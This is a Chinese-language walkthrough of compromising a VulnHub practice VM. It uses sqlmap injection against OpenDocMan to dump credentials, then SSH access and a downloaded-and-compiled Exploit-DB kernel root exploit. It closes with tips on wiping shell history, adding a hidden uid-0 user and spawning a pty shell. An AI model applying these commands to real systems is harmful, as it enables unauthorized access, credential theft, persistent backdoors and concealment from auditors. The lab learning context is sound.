最近发现了一个不错的靶场,里面各种渗透测试的虚拟机,大家可以下载进行尝试学习。还有就是一个漏洞利用存档,可以找到很多我们可以利用的学习的东西。
靶场:
https://www.vulnhub.com
漏洞利用存档:
https://www.exploit-db.com
首先就是确定我们靶机的目标
nmap -sP -T5 192.168.0.1/24
通过前面的步骤,我们对目标进行具体的端口扫描以及操作系统识别,发现开启有80,22以及6667端口。
nmap -sV -p- -A -O -T4 192.168.0.170
目录扫描 继续对目标进行敏感目录扫描,御剑等工具都可以。这里我使用KALI的nikto
以及dirb
命令进行简单的目录扫描。
nikto -host http://192.168.0.170
或者
dirb http://192.168.0.170
访问IP之后的页面,发现并没有什么特别的地方,于是只能查看源代码,点击超链接进行查看。
在链接的地方竟然发现了秘密的地方,于是访问之
此处是一个登录界面,我们可以尝试注册一个用户进行登录,但只是一个游客的形式。
我们注册一个用户进行登录,还有有很多功能的,于是可以进行更多的尝试。
在下面发现OpenDocMan v1.2.7, OpenDocMan是一个功能完整的基于Web的文档管理系统(DMS),于是找找OpenDocMan v1.2.7所公布的一些可以利用的漏洞。
现可以利用的好几个漏洞,于是先行尝试sql注入
经过简单的测试发现
http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user
处确实注入。
是直接拿出神器Sqlmap进行注入。
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value --dbs
经过常见的那几个命令我们可以成功的拿到登录名和密码。
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs --tables
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_admin --columns
发现admin表里面没有信息,只能从user表里面提取信息。
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_user --columns`
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_user -C "username,password" --dump
我们可以看到已经获取到了数据库的用户名和密码,直接MD5解密就可以ssh登录服务器。
用户名webmin
,密码b78aae356709f8c31118ea613980954b
,明文为webmin
经过前面端口扫描可以发现,22端口发放着,可以进行ssh连接。
ssh [email protected]
查看权限发现是普通用户的权限,所以得继续进行提权操作。获取到低权限SHELL后我们通常做下面几件事:
检测操作系统的发行版本
查看内核版本
检测当前用户权限
列举Suid文件
查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞
查看系统的版本号信息
lsb_release -a
查看系统内核信息
uname -r
我们可以看到此操作系统采用的是Ubuntu 14.04.4 LTS,内核版本是3.13.0-24-generic,首先想到的就是去漏洞库寻找有没有可以用的exploit。
下载漏洞exploit
wget https://www.exploit-db.com/download/37292mv 37292 shell.cgcc -o shell shell.c./shell
bash去掉history记录 export HISTSIZE=0 export HISTFILE=/dev/null
Linux添加uid为0的用户 useradd -o -u 0 cnbird
可以翻下 mysql_history .bash_history
ls -al 看下root目录下都有什么隐藏目录 例如 .ssh .vnc 等
可以看下 .ssh/下面的ssh连接记录等,也可以看下全局变量文件什么的
通过webshell反弹shell回来之后获取真正的ttyshell python -c 'import pty; pty.spawn("/bin/sh")'